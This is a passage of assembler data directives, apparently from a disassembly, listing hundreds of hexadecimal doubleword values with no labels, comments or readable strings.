		dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h
		dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h
		dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h
		dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh
		dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h
		dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah
		dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh
		dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h
		dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h,	6C7EE292h
		dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah,	0AB83E806h
		dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h
		dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h
		dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h
		dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh
		dd 15684A00h, 648CD44h,	387A4Bh, 519E418Bh, 2F02BAF3h
		dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h,	2ADF90C2h
		dd 2004589h, 169F4999h,	0ECD9C65Ah, 6B7623h, 2F42C288h
		dd 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h
		dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh
		dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h
		dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h,	790B0A0Dh
		dd 1EB473FFh, 15D80CAh,	0B186A9C6h, 0A33EF44Fh,	50495307h
		dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h
		dd 52250194h, 4690200h,	484EB36Fh, 0A25F0010h, 0BF446CF0h
		dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh
		dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h,	498A01D3h
		dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh,	184C2596h
		dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh,	68B1527Fh
		dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h
		dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h
		dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h,	0F36A0058h
		dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah,	0E0EFE378h
		dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h,	0E2C64600h
		dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h
		dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h
		dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h
		dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h
		dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh
		dd 582E38h, 0F02D704Fh,	10E9A151h, 0A2271801h, 74532F85h
		dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h
		dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h,	9CECC3FAh
		dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h
		dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h
		dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h
		dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh
		dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh
		dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh
		dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h
		dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh
		dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h,	5FC34287h
		dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h
		dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h
		dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h
		dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h
		dd 0A094B17h, 0CDE7B1h,	3A25A58Eh, 0E6AAEC29h, 93FA0044h
		dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h,	0C79F0987h
		dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh,	0D88CC364h
		dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h
		dd 0BA727Eh, 27841D5h
		dd 0C327116Ch, 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh
		dd 227C3966h, 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h
		dd 676F881h, 35A85500h,	75AE2638h, 0CB450093h, 1834EA74h
		dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h
		dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh
		dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h
		dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h
		dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h
		dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h
		dd 1B3BC13h, 100B002Eh,	0E881A64Ah, 910F2924h, 60F164A5h
		dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h,	302B75FCh
		dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h
		dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h,	35A94485h
		dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h
		dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h
		dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h
		dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h
		dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh
		dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h
		dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh
		dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h
		dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h
		dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh,	3E002941h
		dd 0C8099412h, 1B1697h,	0F9A8072Dh, 7CD15A58h, 0F0564500h
		dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h
		dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h
		dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh,	3C709EFh
		dd 9160C0h, 0A8A0048Ah,	3B94980Bh, 61114A00h, 51010244h
		dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh,	34B264ABh
		dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h,	0C8016278h
		dd 565B5A02h, 7F89760h,	8BFC12AAh, 40C2B7F3h, 789E7908h
		dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh,	0FD94DCDAh
		dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h
		dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh
		dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh
		dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh
		dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h
		dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh
		dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h
		dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh
		dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h
		dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh
		dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h
		dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h,	0BD0088DAh
		dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h
		dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh
		dd 500EB3Bh, 570F01B5h,	0C282Ch, 92049EC8h, 0CCE40DC9h
		dd 0EE063Ch, 10D008D4h,	0F831FCh, 1DD87D89h, 59226421h
		dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h
		dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h
		dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah
		dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh
		dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h
		dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh
		dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh
		dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh,	0DC224972h
		dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh
		dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h
		dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh
		dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah,	54189107h
		dd 8F200DBh, 1FD84293h,	814EB914h, 89D2D0B2h, 0CC1C9E64h
		dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh
		dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h,	0E02BA00h
		dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h,	0E1752A88h
		dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh
		dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h
		dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h
		dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h
		dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h
		dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h,	0C3050102h
		dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h
		dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh
		dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h
		dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh
		dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h
		dd 8BECF4h, 0EB124DD3h,	0EECFF34Bh, 5F4A4800h, 0FC555280h
		dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h
		dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h
		dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h
		dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h
		dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h
		dd 8C5B015Fh, 8464BDFh,	63DECE6h, 4253B00h, 0DB19C1D0h
		dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah,	0B89DAAh
		dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh
		dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h
		dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h
		dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh
		dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h
		dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h
		dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h,	91DC45C9h
		dd 804D073Bh, 8A032D2h,	7C701094h, 0E4A82C5Ch, 85E80085h
		dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah
		dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h
		dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h
		dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah,	22F86Ch
		dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h
		dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h
		dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h
		dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h
		dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h
		dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h
		dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh
		dd 542DF450h
		dd 7F5ABAF0h, 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh
		dd 0E1B510h, 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh
		dd 7AC40E11h, 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h
		dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h
		dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh
		dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh,	82EFF4h
		dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h,	387EBC7Ch
		dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh
		dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh
		dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h
		dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh,	0BE80D616h
		dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h
		dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh,	0F02E13D3h
		dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h
		dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h
		dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h
		dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h
		dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h
		dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h
		dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh
		dd 1835B59h, 8E1CC778h,	700AFB45h, 0C90013BBh, 4B7E0D0h
		dd 2659FA5Fh, 0DE010Dh,	0E7557C8Ah, 0E8074284h,	5319A76Bh
		dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h
		dd 9880E10Fh, 0F94594h,	15086EEBh, 81C49610h, 67D38600h
		dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h
		dd 3E7DF03Bh, 0FA4178h,	0B838147Fh, 48A08203h, 0D4287528h
		dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh,	60DC68C2h
		dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h,	0B897304Ah
		dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h,	0C8460048h
		dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h
		dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h
		dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h
		dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h
		dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh
		dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah,	4E47C14Bh
		dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h
		dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h,	36C85E8h
		dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh
		dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh,	3E73E700h
		dd 1B094892h, 0D67B16h,	0BEB5205Fh, 6F67699Dh, 2F652500h
		dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h
		dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh
		dd 1174A03Dh, 0B239CBh,	0EB057D0Bh, 0FF35EFAAh,	4831B800h
		dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h,	0D88831FFh
		dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h
		dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h
		dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h,	0FC7B0A00h
		dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h
		dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h
		dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h,	0BC59C0BEh
		dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h
		dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh
		dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh
		dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh
		dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch,	0D37330h
		dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h
		dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh
		dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h,	0E0C7007Ch
		dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h
		dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h
		dd 6307C2F0h, 6240F8Bh,	0C5D404BAh, 0DABF3000h,	8DFB0228h
		dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h
		dd 0CAC0237Ch, 25F74Ch,	0F64C9B90h, 0B00507h, 0AFECE901h
		dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh
		dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h
		dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h
		dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h,	0AB770029h
		dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h,	0C300DF29h
		dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh
		dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h,	0AE8E2ADh
		dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh
		dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h
		dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h
		dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h
		dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh
		dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h
		dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h
		dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah
		dd 45491926h, 1602546h,	4CBAC38Ch, 0DCB49535h, 0F7F420F8h
		dd 4301200h, 16344828h,	1F722Ch, 93FC4978h, 9A2F58A0h
		dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh,	3B46F200h
		dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h
		dd 86260E8h, 5AC07473h,	0FA9DD29h, 0D5800714h, 0A0240BC9h
		dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h
		dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h
		dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h
		dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h
		dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h,	0BF1C4412h
		dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h,	5E079849h
		dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h,	0B100EA42h
		dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h
		dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h
		dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h,	681574C5h
		dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h,	0AFB13B25h
		dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh
		dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h,	2E03117h
		dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh,	75027600h
		dd 24B82Fh, 0FA4CFD63h,	930447B5h, 27F22000h, 21AF7819h
		dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h
		dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h,	1D08F9D7h
		dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h
		dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh,	0EF560441h
		dd 7102C7Fh, 6032C824h
		dd 68C0DE09h, 70916C48h, 54770271h, 0BDB0901Fh,	22C81FBDh
		dd 15E2E100h, 2CF0CC2h,	4409F806h, 0D7C0086Ch, 313F744Ch
		dd 32D08303h, 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h
		dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh
		dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh,	0C81EF9C7h
		dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h,	0DC109400h
		dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h,	4EEE4B0h
		dd 80EF1B0h, 20118F0Ch,	0A052431Ch, 0E06B25EDh,	64132BFEh
		dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h,	85E36798h
		dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h
		dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h,	17CB0F30h
		dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h
		dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h
		dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh
		dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh,	7B5806A0h
		dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh,	3D5ECD5h
		dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h
		dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh
		dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h
		dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h
		dd 3E07A01h, 3A96B3DFh,	0EB981307h, 0DA900B0Dh,	1F437329h
		dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h
		dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch
		dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah
		dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh
		dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h
		dd 0C5812Ah, 5A827999h,	7FAE037Ah, 0CCA24200h, 369D86EEh
		dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h
		dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h
		dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h
		dd 342200A6h, 46A2F82h,	8800A495h, 4178C646h, 91085B8h
		dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h
		dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch
		dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h
		dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h
		dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h
		dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h
		dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h
		dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah,	0E987ABF0h
		dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh,	0CB381F28h
		dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah
		dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h
		dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h
		dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh,	3F990h
		dd 52EE5D7h, 5EE2C189h,	527C4Ch, 12414B4h, 348504Ah, 4C425A06h
		dd 84C37210h, 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h
		dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h
		dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h
		dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch,	3600EC0h
		dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h,	6CC00123h
		dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh
		dd 3FE03B18h, 3440702h,	7E08008h, 7E0038F8h, 2B6FA81Eh
		dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h,	761451FFh
		dd 311E95h, 0FAE0C183h,	0D82F707Fh, 800CB338h, 146C6BDFh
		dd 0EA9AAC55h, 8BFC40h,	0DD8192C4h, 7245618Ah, 95D5BE00h
